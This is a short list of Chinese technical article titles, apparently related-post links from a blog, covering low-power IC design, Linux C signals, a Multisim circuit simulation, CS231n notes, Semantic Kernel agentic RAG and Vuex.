  • 一动一静皆消耗——IC设计之低功耗技术(Low Power Design)
  • Linux C 信号操作
  • 单稳态触发器Multisim电路仿真——硬件工程师笔记
  • CS231n-2017 Lecture3线性分类器、最优化笔记
  • 深度解析 rag-vector-agent-semantic-kernel:基于 Semantic Kernel 的 Agentic RAG 实践
  • 关于Vuex